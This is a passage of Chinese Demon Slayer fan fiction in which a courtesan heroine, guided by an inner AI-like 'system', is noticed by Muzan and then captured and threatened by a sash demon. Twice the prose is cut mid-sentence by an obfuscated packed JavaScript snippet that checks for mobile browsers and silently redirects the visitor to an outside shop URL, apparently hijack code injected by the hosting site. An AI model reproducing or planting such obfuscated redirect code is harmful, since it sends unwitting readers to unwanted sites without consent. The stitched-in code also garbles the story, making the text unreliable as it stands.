富冈义勇和锖兔的瞳孔也猛地一缩,如此意想不到的剧烈冲击让他们大脑罕见得空白了一瞬,暂时没有办法思考。 ——这可是继国缘一啊! 这四个字本身就带着无法估计的分量,应当没有知晓他的故事的猎鬼人在看到这个名字食还能够保持冷静。 平静的眼眸中 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刹那间,室内寂静得连一根针掉在地上都能被清清楚楚地听到,所有人的目光都集中在了敞开的画卷上,炙热且专注。 ——消灭恶鬼的秘密! 这怎能不让所有鬼杀队的人振奋,怎能不让世世代代用生命猎鬼的人激动? 产屋敷耀哉虚虚望着空中,明明应该什么都看不见,却仿佛触碰到了虚无缥缈的未来,他有一种奇妙的预感:“不管结果如何,只要有一丝希望,我就不会放弃。” 温和却不软弱的声线在室内响起,相反,一字一句所展现出的浓重情绪能让任何人看出他的坚定。 从大千世界中寻找一副不知名的画的线索,或者是从茫茫人海中寻找一个不知道是否早已经断绝了传承的人的后代,这根本就是一件天方夜谭的事情。 然而转机出现了,一件极其幸运的事情降临在了这次会议中。 几年前,一位浑身谜团的少女突然出现在藤袭山,在此之前似乎只是一个未知的巧合,如今看来这更像是神明慷慨给予的馈赠。 解锁秘密的契机已经到来,答案就隐藏在伸手可得的地方。 腰间佩刀的剑士们坐姿笔直,他们言简意赅,神色却专注得可怕,短促的话语在空荡荡的和室中散开。 “遵命!” 19. 第 19 章 第 19 鎹鸦传来急信,告知阿织要紧急撤离,消息来的很突然。 事情的前因后果都没有说,就像是突然之间做的决定,这只传消息的鎹鸦一路上估计都没怎么停歇,飞到的时候整只鸦都蔫了。 阿织收到信的时候生怕它一张口魂就飞了,喂了它很多水和食物才缓了过来。 阿织点了点鎹鸦毛茸茸的头,内心笼罩着一层迷云,再怎么迟钝也体会到和往常不一样的意味了。 【好突然哦。】 完全没有什么征兆啊。 比起还很茫然的阿织,000对此表示了高度的赞同:【消息开得刚刚好。】 虽然很迷惑,但离开的这个决定与000近来的催促不谋而合,等到富冈义勇来到游廓,她就可以跟随着他以被赎身的名义离开。 阿织也挺高兴的,如果义勇过来帮忙的话,那花街里鬼就算再厉害,应该很快就能够解决了,炭治郎他们也就没这么危险了。 嗯,这样一想,接下来的都是好事。 阿织总是习惯于把事情想的很简单,她的心情也随之轻快了一些。 估计他能在天亮之前赶到,阿织事先没有想到会这么着急,不过好在她在时任屋的东西严格来说并不多,不需要太长时间收拾。 她整理出了一个小包裹,余下的东西留在这里让老板娘送给别人就好,重要的是和这里的朋友道别。 说是道别,其实也只是简单地告诉鲤夏她要离开的事。 而今晚有鲤夏姐姐出门迎客,外面热闹极了,围观的人有很多,阿织决定等鲤夏结束后就去告知她自己离开的消息。 想到这里就有些不好意思,上一次讨论到这个话题时她还惊讶于鲤夏姐姐即将离去,没想到到了现在她竟然是最先离开时任屋的。 000突然开口:【你出去等她吧。】 【嗯?】少女怔了一下,随即手中的动作都停止了,不是很能够理解000的建议,【为什么啊?】 为了不引起别人不必要的注意,她向来不出去的。 000的语气很平稳,但是内容却是真真正正的让人害怕的恐怖故事:【在吉原藏着的鬼喜欢抓单独在房间的人……】 阿织顿时打了个颤,觉得屋子里阴嗖嗖的。 男客都聚集在花魁游行的道路两边,目不转睛地看着。 吉原的夜晚,是永不熄灭的琉璃灯和美轮美奂的浮世绘。空气中弥漫着浓郁的脂粉香和清酒气,让人产生奢靡的倦怠感。 看着人山人海的盛况,阿织两眼发直,因为震惊语调有些发飘,一副没见过世面的样子:【不愧是鲤夏姐姐!】 这也太多人了吧! 她目送着熙攘的人群流动,枕着手臂趴在栏杆上,轻轻晃动着扇子,纤细的腕子上挂着的珊瑚珠,随着手臂的动作碰撞着发出清脆的声响。 就要离开这看了几年的风景,阿织心中竟有一丝难以言喻的怅然。 自来到这个世界,她短暂地在蝶屋停留过一小段时间,之后就来到了吉原。 按照规定,游女是不能自由出门的,可以毫不夸张地说,阿织对外面已经很陌生了,她最熟悉的地方就是吉原的时任屋。 阿织无法想象外面的世界,眼底流露出一丝自己察觉不到的不安,又接着问:【也不知道外面现在变成什么样子了?】 000敏锐地觉察到了这点情绪。 000是知道阿织有多么的难适应环境的,当初刚来到这里的时候,她有很长一段时间都胆战心惊地睡不好觉,人都憔悴了不少。 就像是一株被移栽到了新环境的植物,总要经历适应新的土壤、温度和湿度的过程,这个过程既艰难又漫长。 而它自己本身因为各种原因耗费了无数能量,长期处于休眠的状态,基本上也帮不上什么忙,最后还是锖兔发现了她的状态不是很好。 如今即将从时任屋离开去往一个新环境,她估计也要不安好久。 000还是比较习惯于少女的眼眸中洋溢着明亮纯粹的色彩,她比较适合那种简单的快乐模样:【离开后你可以出去看一看,外面发展得很好。】 乐观点想,也算是沉浸式体验不同时代的风土人情了。 虽然这里有鬼。 阿织懒懒地托着下巴,有些提不起精神:【好哦。】 ◇◇◇◇◇◇ 阿织只知晓自己是要尽快撤离,原因不明,以后的具体安排尚不可知,不过有系统发布的任务在,她必不可能距离富冈义勇太远。 不过总归是脱离了花街,自由了许多,她还没有逛过外面的街市,以后应当有机会去看一看了。 她百无聊赖地随意看着,目光无意间扫过街角,注意到了一个与周遭环境格格不入的人。 那是个身形笔直的男人,穿着剪裁极其合体的深色西装,独自行走着,即便此刻是在夜间,他也戴着精致的西帽,大半张脸掩在阴影下看不清楚。 阿织觉得这个人有些奇怪。 毕竟很少有人会在花街西装革履穿得如此正式,大多都是穿着休闲的服饰吃喝玩乐,不仅如此,这人还在深夜里戴着一顶帽子。 虽然街道两旁的花楼都有灯光,但毕竟也不是很明亮,反倒因为其昏黄的光线,让人觉得到处都是梦幻的。 所以这样真的不会看不太清楚吗? 阿织下意识地多看了一眼,她还叫了000:【你看看那个人。】 只还没等到000的回应,仿佛是为了回应她的注视那般,远处的那个男人,猛得抬起了头,帽沿下的那双眼睛精准地捕捉到了她的位置。 月彦,不,应当是伪装成月彦的鬼舞辻无惨,在外人的目光落在他身上的时候,就已经第一时间感知到了。 有些是不经意间的短暂划过,这种虽让他觉得厌烦但不需要怎么在意,但倘若那注视多停留了一会儿,鬼舞辻无惨就要去弄清楚引起这种停留的缘由了。 不过不管是什么缘由,只要稍微让他觉得厌烦,又或者是刚刚赶上他心情不好的时候,他只需要吩咐附近的鬼替他处理掉这个人就行了。 将一切微弱的苗头扼杀在摇篮里,这是他这么多年来能够在人类社会将自己完美隐藏起来的手段。 鬼舞辻无惨又想起那天在街道上遇到的戴着日轮耳饰、对他无礼却至今没有被杀死的少年,按捺不住的狂怒直接就席卷了他的心头。 他也没有刻意压抑这怒意,驻足微微抬起头,冰冷的眼眸直直地看向那个胆敢这么无礼的人类。 阿织被吓了一跳。 任谁在盯着别人看然后被抓包后都会被吓到,她掩饰性地飞快挪开了视线,轻抬绘扇遮住了半张脸颊。 然而这短暂的间隙足够鬼舞辻无惨看到阿织的面容了。 “………” 鬼舞辻无惨睁大了眼睛,那张英俊却过分苍白的脸上,骤然变得扭曲起来。 他的心头骤然涌现出极度的惊愕,面容变得惊疑不定,表现得就像是看到了什么超出了他想象之外的样子。 一个因为时间太长而变得有些陌生,但是再见到就格外熟悉的面容 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阿织挪开了视线后,却也能够感知到那投射过来越发阴冷的目光,恍若锁定了猎物那般,让她觉得身体发寒。 她又控制不住地看了回去,仅仅是一眼,就阿织的心坠入了谷底。 那是怎么样的一种眼神啊,阴暗、恶毒、恐怖,如同隐藏在角落里时时刻刻准备咬人一口的毒蛇。 明明身处在热闹的游街当中,周围也都是熙熙攘攘的人群,阿织却没多少安全感似的握紧了手,后背的衣物也渐渐被冷汗打湿,冰凉地贴在皮肤上。 四目相对的那一瞬间,她仿佛被周围的人来人往的世界隔绝开,被拖拽到了弥漫着惊悚和恐怖的黑暗当中。 ◇◇◇◇◇◇ 无论怎么看,那双眼睛都是茫然懵懂的,虽然现在很害怕,但明显能看出来不认识他,鬼舞辻无惨做出了这样的判断。 也对,那个女人恐怕已经死了几百年,这只是一个样貌相似的人。 和以往的情况一样,阿织让鬼舞辻无惨想起了不好的回忆,素来残忍只凭心情行事的无惨,本应该直接让她消失在这个世界上。 他也确实这么想了。 然而当他准备下令的那一刻,突然觉得单单就这样杀了她有点可惜,毕竟,这个人和那个女人真的长得十足的像。 也许能够起到意想不到的效果。 鬼舞辻无惨眯起了眼睛,苍白冷酷的面容上流露出见到有趣事物的新奇,还带着越来越浓烈的狂热,红色的瞳眸几乎要滴出血来。 阿织想尖叫,但她的喉咙好像被钳制住一样,发不出任何声音。 她呆呆地和那个恐怖的人对视着,头脑没有办法思考,细白的手指不自觉地掐着掌心,留下深刻的月牙形掐痕,却浑然不觉。 阿织惶恐不安到手脚发麻,极致的恐惧之下,她的眼睛迅速蒙上一层水雾,几乎带着些哭腔向最信任的000求助:【我害怕。】 000:我也挺害怕的。 虽然结束了休眠,但它还处于能量不足状态,为了节省能量就缩小了监测的范围,以至于没有发现鬼舞辻无惨竟然离这么近了。 在看到鬼舞辻无惨的那一刻,000的核心程序就经历了一场海啸般的冲击,它的处理器险些无法正常运行,所以…… ——鬼舞辻无惨为什么会在这里? ——鬼舞辻无惨为什么会“认识”阿织? 20. 第 20 章 第 20 【别慌,装作不认识他。】 000压制住程序中翻涌的警报,它强行介入,用清晰的电子音指导完全沉浸在恐慌中的少女。 如果只是一个容貌相似的人,最多只会引起鬼舞辻无惨片刻的不适与疑虑。 但倘若……倘若让他确认了阿织与“那个人”之间存在某种联系,哪怕只是微不足道的一丝,后果都将不堪设想。 那将是彻头彻尾的灾难。 因此,当前唯一的策略就是必须让鬼舞辻无惨将阿织视为一个无关紧要的陌生人。 一个偶然瞥见,或许有几分姿色,但也仅此而已的游女。 阿织空白一片的大脑被动地接收着000的信息,她艰难地去理解这句话的含义。 ——装作不认识? ——可是……我本来就不认识他啊? 胸腔和肺部传来因长时间屏息而产生的轻微刺痛与窒息感,阿织才猛地意识到,自己刚才竟然忘记了呼吸。 她下意识地张了张嘴,唇瓣翕动了两下,最终却什么声音也没能发出,只是徒劳地吸入了口微凉的空气。 过度的紧张让她的指尖蔓延开一种冰冷的麻木感。 阿织没有留意到手指的失控,手中那柄精致的绘扇从她绵软无力的指间滑脱,“啪”得一声轻响,坠落在楼下光洁的地板上。 这动静并不算大,却足以吸引附近路过者的目光,她几乎要被自己这笨拙的失误给蠢哭了。 阿织欲哭无泪地扶着朱红色的栏杆,眼巴巴望着楼下那柄孤零零躺在地上的绘扇,一时间手足无措,僵在原地。 【没事,这样刚刚好。】 000以为这是少女在极度恐慌下急中生智,想出的转移注意力的办法,竟然罕见地生出了一丝欣慰。 楼下,一位恰好路过的年轻男士停下了脚步,他先是呆怔地仰头望着楼上凭栏而立的游女,半晌才反应过来,脸上迅速涌起红晕,有些手忙脚乱地弯腰捡起了那柄绘扇。 他抬起头,眼中闪烁着惊喜与期待的光芒,似乎将这当成了某种命运安排的邂逅。 越来越多的目光因这小小的意外而聚焦在阿织身上,带着好奇、欣赏或是探究。 然而,即便将这些目光全部汇聚成一束,其带来的压力也远不及方才鬼舞辻无惨那看似随意的一瞥。 突然间,阿织的太阳穴突然传来一阵尖锐的刺痛,仿佛被无形的重物狠狠敲击了一下。 这疼痛并非来自外部,而是源于她的脑海深处,她忍不住皱起眉头,神色痛苦地抬手揉了揉额角。 一些零碎而模糊的画面在她混乱的思绪中飞快地闪烁着,破碎的影像和无法辨认的声音交杂在一起,难以言喻的悲伤与恐惧涌上心头…… 但还没等她试图捕捉住任何一片,这些碎片又如同被风吹散的尘埃,消散得无影无踪,只留下那阵突兀的余痛和更深的茫然。 她的眼睛空茫了一瞬。 从楼下路人的视角望去,只见那位漂亮的游女正微微垂眸望向楼下,她因受惊而微微低头的姿态,恰好露出一截纤细柔软的白皙脖颈。 她紧咬着失去血色的唇瓣,眉头轻蹙,脸上带着几分惊魂未定与显而易见的苦恼,这副模样更是我见犹怜。 这一切,尽数落入了尚未远离的鬼舞辻无惨眼中,他猩红的瞳孔颜色变得愈发深沉,如同凝固的血液。 鬼舞辻无惨凝望着阿织那副惊慌失措的模样片刻,心中那股因看到相似面容而升起的暴戾与烦躁,竟奇异地被一种新的兴趣所取代。 他线条优美的唇角微微勾起,露出一抹极淡,却令人毛骨悚然的笑容。 那笑容并不蕴含任何温暖或善意,相反,其中充斥着一种纯粹的恶意与玩味。 他深深地看了阿织一眼,仿佛要将她此刻的模样清晰地刻进脑子里。 然后,鬼舞辻无惨不再停留,身影没入了旁边一条光线黝黑的小巷深处,消失不见。 ……… 楼下,那柄绘扇最终不知被哪位殷勤的客人拾起,或许正期待着能借此与楼上的美人搭话。 鬼舞辻无惨曾经站立过的地方,很快就被来来往往的行人走过。 除了阿织,无人知晓在刚才那短暂得如同错觉的一分钟里,何等恐怖的存在曾悄然降临,并投下了足以冻结灵魂的一瞥。 阿织用力咬了咬下唇,她强迫自己移开视线,不再看向那人消失的巷口,装作一切如常。 她抬起微微发颤的手,将垂挂在一旁的薄纱帷幔轻轻拨下。 柔软的纱幔将她整个人半遮半掩地笼罩其后,只留下一个看不真切的朦胧身影,隔绝了外界大部分探究的目光。 那个穿着暗纹和服的男人已然远去,但他所带来的那种深入骨髓的压迫感,却并未随着他的背影一同消散,反而如同无形的阴霾,沉甸甸地笼罩在阿织心头。 明明从外表看,只是一个气质非凡的富商罢了,为何、为何会有那么大的压迫感? 而且那压迫感中,充满了几乎凝成实质的恶意与血腥气。 000:【他已经走远了。】 听到系统的确认,阿织一直紧绷到极致的身体才仿佛被抽走了所有力气,稍稍放松了下来。 她尝试着动了一下,却发现双腿软得不听使唤。 阿织小心翼翼地用手撑住身体,扶着冰凉的栏杆试图起身,然而只是刚刚站起一瞬,双腿传来的强烈酸麻感就让她不受控制地又跌坐了回去。 半晌,她才带着哭腔,语气可怜兮兮的,在脑海中小声说道:【我腿麻了,动不了。】 000:【慢慢缓一会。】 少女已经表现得很不错了,000也不想对她太过苛责。 阿织没敢在回廊上停留太长时间,她努力平复着如同擂鼓般的心跳,好一会儿,才勉强支撑起依旧有些发软的身体。 直到反手轻轻合上房门,背靠着冰凉的门板,阿织才重新找回了一丝丝的胆量。 她背靠着门板,小幅度地环顾着四周,仿佛害怕那个恐怖的身影会从某个角落里突然浮现。 即便是在房间里,她仍然无法控制地感到一阵阵瑟缩,总觉得背后有一双阴恻恻的眼睛在暗中盯着她。 原本健康红润的脸蛋,在经历了方才的惊吓后,此刻苍白得吓人,阿织用带着细微颤抖的声音问道:【刚刚那个……是鬼吗?】 其实,根本无需询问,她也已经有了答案,但她心底仍存着一丝微弱的希望,万一只是人类呢? 少女的眼圈不由自主地泛起了红,她似乎在极力强忍着濒临崩溃的情绪,只是那直到现在仍在微微发抖的身体,早已将她内心的极度不安与恐惧暴露无遗。 000沉默片刻:【是鬼。】 阿织用力地抿了下唇,追问:【是十二鬼月吗?】 阿织从富冈义勇和锖兔零星的讲述中,大致知道鬼是分等级的,也听说过“十二鬼月”这个代表着鬼中顶尖战力的称谓,但具体详情她并不了解。 就如同她简单地知道“柱”是鬼杀队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815314|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中最强大的剑士一样,在她的认知里,“十二鬼月”就是鬼中最可怕的存在了。 她下意识地将刚才那个让她灵魂都在战栗的恐怖存在,归类到了这个最顶级的危险范畴之中。 只是,她完全没有想到,在十二鬼月之上,还存在着一位凌驾于所有鬼物的鬼之始祖——鬼舞辻无惨。 000都有些不忍心将残酷的真相直接告诉她,鬼舞辻无惨可比十二鬼月要可怕得多。 今天这场突如其来的遭遇,将原本或许还能勉强控制的局面,猛地拽向了无法预测的深渊。 000演算着各种可能性,得出的结论无一例外都指向了最糟糕的未来,如果再不进行干预,它预见到会有更加恐怖的事情发生。 因此,它以一种从未有过的严肃语气,甚至直接唤出了阿织的名字,机械的电子音带着一丝急促情感的波动。 【阿织,听着。】它的声音在阿织的脑海中清晰地响起,【你必须尽快离开时任屋,不,是现在就离开吉原!】 倘若今天没有倒霉到直接撞上鬼舞辻无惨,那么即便阿织再在吉原耽搁一些时日,或许也问题不大。 毕竟隐藏在京极屋的那位上弦很快就会被消灭。 之前000多次催促阿织行动,更多是想给她营造一种任务进行的紧迫感。 在休眠的这几年中,它一直在恢复能量,目前差不多能够辅助阿织,去完成那个关乎富冈义勇内心真正愿望的任务了。 000原本只是在等待一个最合适的契机,等阿织顺利脱离吉原之后,去往某个特定的地方,然后进行最关键的一步。 然而,现在谁能来告诉它,为什么事态的发展突然急转直下,已经调整成简单模式的任务,又出现了致命的变数? 000勉强保持冷静,继续安排,它语速更快了:【现在情况发生了变化,你越早离开越好,不要再等……来不及了。】 电子音陡然沉了下去,000未尽的话语注定无法说完了。 天花板上方,再次传来了那种令人极度不安的窸窣声响,只是这一次绝非之前那种可以忽略的细微动静。 这声音变得越来越清晰,越来越接近,就像有什么庞大之物正在上方盘踞蠕动,慢慢将整个房间包裹了起来。 从现在开始……不,确切地说,从阿织被鬼舞辻无惨注意到的那一刻起,整个时任屋,乃至整个吉原,就已经彻底变成了一座危险的牢笼。 阿织已经没有机会离开了。 000的话说得不明不白,每一句都潜藏着无数不详的深意,阿织本就是极容易被惊吓的性子,此刻更是慌得几乎要喘不过气。 她惊恐地抬头望了一眼发出异响的天花板,这一次,无法自欺欺人地将那动静归责给老鼠了。 她猛地扯过旁边的被子,一股脑地把自己从头到脚严严实实地蒙了起来,仿佛这样就能隔绝外界的一切危险。 【你、你别吓我……到底怎么了?】她带着泣音哀求道,渴望从系统那里得到一丝安慰,哪怕只是谎言。 少女蜷缩在黑暗的被子底下,身体因恐惧而微微颤抖,声音带着浓重的哭腔,可怜极了,湿润的眼睛里包着的泪水终于滚落下来,浸湿了鬓角。 她的唇瓣不受控制地颤抖着,内心的不安与恐慌在这一刻达到了顶峰。 然而,再不可置信也无法改变既定的事实。 000知道,此刻任何隐瞒都已毫无意义,它不再试图粉饰太平,直接陈述了冰冷的现实:【鬼来了。】 21. 第 21 章 第 21 倘若此刻有人能穿透紧闭的房门,窥见阿织房间内的景象,必定会被那骇人而诡异的场景惊得魂飞魄散。 房间中是一张让人无处可逃的天罗地网。 阿织终于明白了,为何游廓之中总有游女悄无声息地消失,如同被黑暗吞噬,她也终于亲眼见到了潜藏在花街阴影之下恶鬼的真实手段。 一切发生得太过突然,前后不过几个呼吸之间,无数花纹艳丽的绸带,从天花板细微的缝隙疯狂地钻涌而出。 它们速度快得惊人,瞬息便占据了室内所有的空间,密密麻麻,层层叠叠,连空气中浮动的灯光都被这些舞动的绸带切割,变成光怪陆离的碎片,整个房间被映照得如同一个诡异的梦境。 000的警告言犹在耳,现实已残酷地摆在眼前。 鬼,真的来了。 “——啊!” 一声短促而惊恐的尖叫刚从喉间溢出,甚至来不及在空气中完全扩散,阿织就感到四肢骤然一紧。 那些冰冷而柔韧的绸带如同最灵敏的捕食者,精准而迅速地缠绕上她的手腕和脚踝,随即向上蔓延,牢牢捆缚住她的手臂与小腿。 更有一条绸带猛地捂住了她的口鼻,力道之大,不仅将她所有的呼救声堵死在喉咙里,甚至让她产生了窒息的眩晕感。 少女原本就因惊吓而苍白的小脸,此刻更是血色尽失。 她被一股强大的力量从柔软的床铺上强行拉起,身体悬空,又被更多涌来的绸带从各个角度缠绕,呈现出一种受难般的姿态。 她似乎还没完全从这猝不及防的袭击中回过神,漂亮的眼睛因极致的恐惧而显得有些空洞,呆怔地望向虚空中的某一点。 随即,大颗大颗滚烫的泪珠如同断了线的珍珠,不受控制地吧嗒吧嗒直往下掉,迅速浸湿了衣襟和束缚着她的绸带。 那些看似华丽柔滑的绸带,实则蕴含着可怕的力量。 它们紧紧压迫着少女柔软细腻的肌肤,以一种极其刁钻且无法撼动的方式缠绕收紧。 被绸带圈住的地方,白皙的皮肉明显凹陷下去,勾勒出清晰的勒痕,边缘泛着被挤压后的红色。 阿织从未经历过严苛的锻炼,一身皮肉养得娇嫩绵软,平日里轻轻触碰都仿佛能留下印记,更何况此刻面对的是毫无怜悯之心的恶鬼。 这些绸带仿佛随时都能轻易勒断她脆弱的骨骼。 更令人毛骨悚然的是,其中一条顶端生着一张布满细密利齿的鲜红色大嘴的绸带,如同拥有独立意识般,晃动着身躯,缓缓凑近到阿织面前。 那张诡异的嘴巴开合着,发出带着浓浓不解与嫉妒的嘶哑声音:“真不知道你到底有什么特别之处,竟然值得无惨大人如此关注?” 它审视着眼前这弱小得连一丝反抗能力都没有的人类少女,看着她因痛苦和恐惧而紧蹙的眉头,看着她那副连呼吸都变得艰难的模样。 绸带鬼清楚地知道,只要自己再稍微收拢一下缠绕的力道,就足以将这具美丽的躯体连同其下的骨骼,轻而易举地碾得粉碎。 它近乎挑剔地打量着阿织因泪水而更显莹润的脸庞,最终嫌弃地皱起了眉头,下了结论:“除了这张脸还勉强能看之外,其他简直一无是处!” 它实在想不通,无惨大人为何会特意下令,要它来看守这个胆小又没用的人类,甚至还罕见地吩咐了一句不要伤了她。 在它看来,凡是惹怒了无惨大人的人,都应该用最残忍的方式吞噬殆尽才对! 它恶狠狠地用那刀子般锐利的目光剜着少女,试图从她身上找出哪怕一丝一毫值得无惨大人另眼相看的特别之处。 难道因为她是稀血? 这个念头一闪而过,但很快又被它否定。 不对,无惨大人力量如此强大,早已不需要像它们这些下属一样依靠吞噬人类来提升实力。 若真是为了稀血,也不必如此大费周章,直接带走便是。 在阿织看来,这只绸带鬼沉默的审视,俨然就是在思考该从她身体的哪一部分开始下口。 这是她第一次在没有任何保护的情况下,独自面对如此恐怖的恶鬼,果不其然,她如同000曾经预料过的最糟糕的情况那样,崩溃地哭了起来,泪水流得更凶了。 【怎么办?怎么办?】阿织口不能言,只能在意识中发出绝望的悲鸣。 浓密卷翘的睫毛被泪水彻底濡湿,黏连在一起,更衬得那双眼睛如同浸在水中的黑曜石,充满了无助与恐惧。 她的声音在脑海中颤抖得不成样子:【鬼来了……她找到我了……我现在就要被吃掉了……呜呜呜……】 她之前还在担忧炭治郎伪装潜入收集情报时会遇到危险,万万没想到,厄运竟然先一步降临到了自己头上。 乐观一点想,她至少不用去担心别人了。 阿织:【呜呜呜……】 ——完全乐观不起来。 000:【………】 怎么也想不明白的绸带鬼,将内心的烦躁与困惑转化为了对阿织的恐吓。 它的声音陡然变得阴沉而恐怖,一字一句都透着毫不掩饰的恶意:“再动一下,我就切断你的脚!” 它似乎很享受这种掌控他人生死的快感,语气中甚至带上了一丝扭曲的兴奋,想象着那血腥的场景:“没有脚,只能用膝盖和手在地上像虫子一样爬来爬去……那副样子,应该也会很好玩吧?呵呵呵……” 伴随着这令人毛骨悚然的话语,一段较为纤细的绸带如同试探的毒蛇,缓缓伸出,用其冰凉的末端,轻轻点了点阿织纤细的小腿肚,仿佛在寻找着下刀的最佳位置和角度。 阿织吓得紧紧闭上了眼睛,长长的睫毛剧烈颤抖着。 全身的汗毛倒竖,肌肤上瞬间激起一片细小的疙瘩,被紧紧封锁的唇间,只能溢出模糊不清的呜咽声。 明明那生着大嘴的绸带还隔着一段距离,她却仿佛已经闻到了从那利齿间散发出浓郁的令人作呕的血腥气息,扑面而来。 她本能地想要向后蜷缩,身体却被捆缚得动弹不得,唯有更剧烈的颤抖透露着她内心的惊惶。 她这副凄惨的模样,显然取悦了施暴者,绸带鬼发出低沉而满意的嘶嘶声。 “到时候,一定会流很多很多血吧……”它继续用语言凌迟着阿织的神经,“你们人类,失血过多,就会死的,对吧?” 虽然碍于无惨大人的命令不能真的动手,但用言语尽情地恐吓这个弱小猎物的精神,让它感到无比的愉悦。 那些没有温度的绸带紧贴在皮肤上,带来一种冰凉而滑腻的触感,宛如被冰冷的软体动物爬行缠绕,激起一阵阵生理性的厌恶与恐惧,让人控制不住地毛骨悚然。 绸带鬼每说出一句充满恶意的话语,阿织的身体就十分配合地剧烈颤抖一下。 在它一句接一句、细致入微的恐怖描述下,阿织的脑海中已经不受控制地勾勒出自己未来可能面临的凄惨结局。 被切断双脚,在血泊中痛苦爬行,最终失血而亡…… 极度的恐惧让她瞬间放弃了反抗的念头,她猛地睁开泪眼,连忙像拨浪鼓一样用力地摇了摇头,表明自己会很乖,绝对不会乱动。 晶莹的泪珠不断从她苍白的面颊滑落,打湿了紧捂在唇上的绸带,留下深色的湿痕。 她就像一只误入猛兽巢穴的动物幼崽,纤细单薄的身体在无数绸带的捆绑下不住地颤抖,充满了对天敌最原始的恐惧。 现状就是如此令人绝望。 阿织抽噎着,连意识里的声音都断断续续,充满了诀别的意味:【000……如果……如果我这次真的死了……你、你就去找下一个……更厉害的宿主……帮你完成任务吧!】 她觉得这只鬼实在太恐怖了,自己绝对在劫难逃,命不久矣。 000:【………】 倒也不必如此迅速地安排后事,还没到这一步。 它若有实体,此刻必定是在深深叹息:【我们是正经系统,没有中途更换宿主这种不靠谱的设定。】 000久违地感受到了类似人类头痛欲裂的状态,所有事态朝着完全无法预测的方向发展,这种感觉着实糟糕透顶。 然而,在混乱当中有一点它可以肯定,阿织此刻最担忧的“被立刻吃掉”的状况,暂时不会发生。 但这不代表000最担忧的状况不会发生,这个世界遇到的变数实在太多了。 000觉得有必要将近期所有异常数据,整理成紧急报告发送给系统中心,由更高权限来裁定是否让阿织继续在这个风险过高的世界执行任务。 ——所以鬼舞辻无惨你不是应该像过去几百年一样,好好地隐藏在人类社会中,谨慎地躲避着阳光与猎鬼人的追踪吗? ——到底为什么会如此明目张胆、大摇大摆地出现在花街这种人流密集的地方啊! 阿织在脑海中为自己抹了一把辛酸泪,她无法体察到000的心情,还傻乎乎地担忧道:【那、那怎么办呀?】 如果系统不能更换宿主,那岂不是要和她这个没用的宿主绑定在一起,最后一起被鬼吃掉,一同葬身于恶鬼的腹中? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815315|190848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那000也太可怜了吧! 突然间,阿织把对自身命运的恐惧,奇异地转移到了对000悲惨未来的担忧上。 000平静的声音下隐藏着更深的东西,它浅淡回应:【祈祷吧。】 祈祷救援能够及时赶到,这样的话,或许一切还能有一线生机,任务也能被拉回原本应有的轨道。 ◇◇◇◇◇◇ 这只绸带鬼,似乎非常热衷于看到她哭泣和恐惧的模样,阿织得出了这个结论。 这只鬼一直在用各种恶毒不堪的语言攻击她,时而暴怒,时而阴冷,精神状态极不稳定。 但只要阿织因她的话语而身体颤抖,这只鬼就会表现出一种扭曲的兴奋和愉悦感。 阿织要被气死了,她觉得自己受到了极大的羞辱,也觉得自己可怜极了,连临死前都要承受这种精神上的侮辱。 阿织委屈得要命,但她不敢对面前的恶鬼流露出任何不满,只能向000发出微弱的牢骚:【这只鬼真可恶啊!】 000无奈:【是这样的。】 阿织带着哭音反驳:【可是……她说的那些话,真的……真的很可怕啊……】 长时间的哭泣让她精力耗尽,泪水仿佛已经流干,在脸颊上留下紧绷的泪痕,稍微牵动面部就带来一阵刺痛。 先前那番真心实意的恐惧,耗费了她大量的心神。 诡异的是这只鬼从出现到现在,似乎仅仅只是禁锢了阿织的行动,并用言语恐吓她,却丝毫没有要立刻进食的意思。 难道是上一餐吃得太饱,到现在还没消化完? 阿织有些蔫哒哒地垂着头,像一株缺乏水分滋养后即将枯萎的植物,有气无力地在询问:【她为什么还不吃我呀?】 想到自己在时任屋这些年,一直被保护得很好,未曾经历过什么风雨,结果到头来却要便宜了这只恶鬼。 这么想着,阿织鼻尖又忍不住泛起一阵酸楚。 000此刻正分心监测着外部环境的数据波动,听到阿织的问题,它随口回答:【可能还不饿吧。】 阿织被这个回答噎了一下,沉默片刻,才讷讷地回应:【好吧。】 让阿织自己都感到意外的是,在这一连串巨大的冲击和漫长的精神压迫下,她竟然奇迹般地稍微冷静下来了一些。 比起独自一人沉浸在未知的恐惧中胡思乱想,眼下这种虽然恐怖但至少看得见摸得着的困境,似乎反而显得没有那么令人崩溃了? 毕竟,最坏的结果也不过是被吃掉。 如果不是身体被紧紧束缚着,阿织甚至产生了一种近乎破罐子破摔的念头。 或许她可以尝试摆出一个安详点的姿势,双手平放在腹部,直接躺在那里等死算了。 就在这绝望与麻木交织的诡异平静时刻,一阵清晰而规律的敲门声,突兀地打破了房间内死寂般的气氛。 “——砰砰砰!” 紧接着,一道刻意压低了音线但仍能听出其中担忧的声音在门外响起:“阿织小姐,您在里面吗?” 是炭治郎!不,是炭子! 阿织猛地掀起沉重的眼皮,震惊地望向门口的方向,只这么一个微小的动作,却被绸带鬼立刻察觉到了。 “唔!”阿织痛苦地闷哼一声,缠绕在她身上的绸带骤然收紧,强烈的痛楚让她瞬间皱紧了眉头,额头上再次渗出冷汗。 “阿织小姐,您在吗?请问发生什么事了?” 